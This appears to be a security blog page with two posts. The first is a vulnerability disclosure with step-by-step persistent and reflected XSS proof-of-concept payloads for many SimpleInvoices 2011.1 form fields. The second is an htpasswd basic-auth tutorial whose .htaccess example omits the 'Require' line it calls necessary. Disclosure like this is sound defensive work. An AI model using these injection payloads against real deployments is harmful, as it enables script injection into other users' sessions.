SimpleInvoices 2011.1 - Cross-Site-Scripting (XSS) Vulnerabilities - CVE-2012-4932

Overview

SimpleInvoices 2011.1 is vulnerable to Cross-site Scripting (XSS).

Software Description

Simple Invoices is a free, open source, web based invoicing system that you can install on your server/pc or have hosted by one of our services providers.

Vulnerability Overview

The vulnerabilities POC are as follows:

REFLECTIVE CROSS-SITE-SCRIPTING (XSS)

[http://]127.0.0.1/simpleinvoices/index.php?module=invoices&view=manage&having=%3C/script%3E%3Cscript%3Ealert%28%27POC%20XSS%27%29;%3C/script%3E%3Cscript%3E

PERSISTENT CROSS-SITE-SCRIPTING (XSS)

Steps to replicate:

Add User

1) Navigate to the following URL:

http://127.0.0.1/simpleinvoices/index.php?module=user&view=add

2) Add the following javascript to the Email field:

<script>alert('POC XSS')</script>

3) Click 'Save'

4) Application will redirect to Users page where javascript will execute.

Add Customer

1) Navigate tot he following URL:

http://127.0.0.1/simpleinvoices/index.php?module=customers&view=add

2) Add the following javascript to the Customer Name field:

<script>alert('POC XSS')</script>

3) Fill out the remaining compulsary fields and click 'Save'

4) Application will redirect tot he Customers page and javascript will execute.

5) This action also breaks the application logic in the fact that you cannot delete the created 'User' in the application, deletion must be carried out manually from the database.

Add Biller

1) Navigate to the following URL:

http://127.0.0.1/simpleinvoices/index.php?module=billers&view=add

2) Add a legitimate Biller Name such as 'Test'

3) Add the following javascript to the 'Street address', 'Street address 2', 'City', 'Zip code', 'State', 'Country', 'Mobile Phone', 'Phone', 'Fax', 'Email', 'PayPal business name', 'PayPal notify url', 'PayPal return url', 'Eway customer ID', 'Custom field 1', 'Custom field 2', 'Custom field 3' and 'Custom field 4' fields:

<script>alert('POC XSS')</script>

4) Click 'Save'

5) Application will redirect to the Billers page and the javascript will execute once.

6) Click the 'View Test' icon and the application will execute the javascript from each of the vulnerable fields, totalling 18 alerts.

Add Invoice

1) Navigate to the following URL:

http://127.0.0.1/simpleinvoices/index.php?module=invoices&view=itemised

2) Choose the recently created Customer '<script>alert('POC XSS')</script>'

3) Enter any text into the remaining comulsary fields and click 'Save'

3) Click 'Invoices' from sub-menu

4) Javascript will execute in browser.

Process Payment

1) Navigate to the following URL:

http://127.0.0.1/simpleinvoices/index.php?module=payments&view=process&op=pay_invoice

2) Choose the recently created invoice '<script>alert('POC XSS')</script>'

3) Enter the following into the 'Notes' field:

<script>alert('POC XSS')</script>

4) The application will redirect and the javascript will execute in the browser.

Payment Types

1) Navigate to the following URL:

http://127.0.0.1/simpleinvoices/index.php?module=payment_types&view=manage

2) Add the following code in the 'Payment type description' field:

<script>alert('POC XSS')</script>

3) Click 'Save'

4) The application will redirect to the 'Payment Types' page and the javascript will execute in the browser

5) This action also breaks the application logic in the fact that you cannot delete the created 'Payment Type' in the application, deletion must be carried out manually from the database.

Invoice Preferences

1) Navigate to the following URL:

http://127.0.0.1/simpleinvoices/index.php?module=preferences&view=add

2) Add the following code in the 'Description' field:

<script>alert('POC XSS')</script>

3) Enter any text into the remaining comulsary fields and click 'Save'

4) The application will redirect to the 'Invoice Preferences' page and the javascript will execute in the browser

5) This action also breaks the application logic in the fact that you cannot delete the created 'Invoice Preference' in the application, deletion must be carried out manually from the database.

Manage Products

1) Navigate to the following URL:

http://127.0.0.1/simpleinvoices/index.php?module=products&view=add

2) Add the following code in the 'Description' field:

<script>alert('POC XSS')</script>

3) Enter any text into the remaining comulsary fields and click 'Save'

4) The application will redirect to the 'Manage Products' page and the javascript will execute in the browser

5) This action also breaks the application logic in the fact that you cannot delete the created 'Product' in the application, deletion must be carried out manually from the database.

Tax Rates

1) Navigate to the following URL:

http://127.0.0.1/simpleinvoices/index.php?module=tax_rates&view=add

2) Add the following code in the 'Description' field:

<script>alert('POC XSS')</script>

3) Enter any text into the remaining comulsary fields and click 'Save'

4) The application will redirect to the 'Tax Rates' page and the javascript will execute in the browser

5) This action also breaks the application logic in the fact that you cannot delete the created 'Tax Rate' in the application, deletion must be carried out manually from the database.

Vulnerability Timeline

18-9-12 - Developer contacted

18-9-12 - CVE-2012-4932 reserved

??-10-12 - Developer release of stable-2012-1-CIS3000 - https://github.com/simpleinvoices/simpleinvoices/tree/stable-2012-1-CIS3000

9-12-12 - Mitre advised to close CVE-2012-4932

Why or Why Not, Htpasswd?

What is htpasswd?

htpasswd is HTTP Basic Authentication as defined by RFC 2617.

Why htpasswd?

1.Its quick and easy,

2. It doesnt require any additional authentication systems, AD or LDAP blah blah blah

Why not htpasswd?

1. Unless SSL is used, credentials are communicated between client and server in plain text

2. Credentials are cached until the browser or tab (browser dependant), are closed

Rules!

1. Never use htpasswd or any other basic authentication over a non-ssl connection!

2. Season your passwords with SALT!

3. Check, Double Check and Triple check your file permissions!

How?

~# man htpasswd & ~# man htacess

Two parts to the tale.

1. .htaccess

Four absolute necessary Apache directives are needed in the .htaccess file. The .htaccess file should be stored in the directory you want to secure.

AuthType Basic - This tells Apache that HTTP Basic Authentication is in use.

AuthName -This tells Apache what to display in the password prompt box.

AuthUserFile - This tells Apache where to look for a list of possible user/passwords. Usually called .htpasswd.

Require - This tells Apache what conditions allow entry to the secured directory.

2. .htpasswd

User:Password

So create a .htaccess file in the directory you want to secure:

 mac@pentest:/securedirectory$ sudo nano .htaccess

Add the following to the file:

 AuthType Basic
 AuthName Please enter a username and password
 AuthUserFile {Full server path to the .htpasswd file}

Save the above, and then use the htpasswd command to create your password file. Simply typing the command:

 mac@pentest:/securedirectory$ sudo htpasswd

Will bring up a nice little how-to:

Usage:
 htpasswd [-cmdpsD] passwordfile username
 htpasswd -b[cmdpsD] passwordfile username password

 htpasswd -n[mdps] username
 htpasswd -nb[mdps] username password
 -c  Create a new file.
 -n  Don't update file; display results on stdout.
 -m  Force MD5 encryption of the password.
 -d  Force CRYPT encryption of the password (default).
 -p  Do not encrypt the password (plaintext).
 -s  Force SHA encryption of the password.
 -b  Use the password from the command line rather than prompting for it.
 -D  Delete the specified user.
On Windows, NetWare and TPF systems the '-m' flag is used by default.
On all other systems, the '-p' flag will probably not work.

So do:

 mac@pentest:/securedirectory$ sudo htpasswd -m -c .htpasswd user

And you should be prompted to enter a password for user, 'user', twice.

What did we do?

If all worked out you should have a file that looks like this:

 mac@pentest:/securedirectory$ cat .htpasswd

 user:$apr1$7gWTF4UB$nMtEFqi8mtRRsnhyQp7FJ0

Job done! Navigate to www.whatever.com/securedirectory and if you've followed the above correctly, you should be presented with a login box to authenticate and enter your secure directory!

Two last tips!

Don't use the -b flag as this will take the password from your command and will be recoverable from your bash history! Let bash prompt you for the password as I have done in the tutorial.

Also don't be tempted to use the -s flag to use SHA1 encryption for the password, this doesn't use a salt for the passwords!

ALWAYS SEASON YOUR PASSWORDS WITH SALT!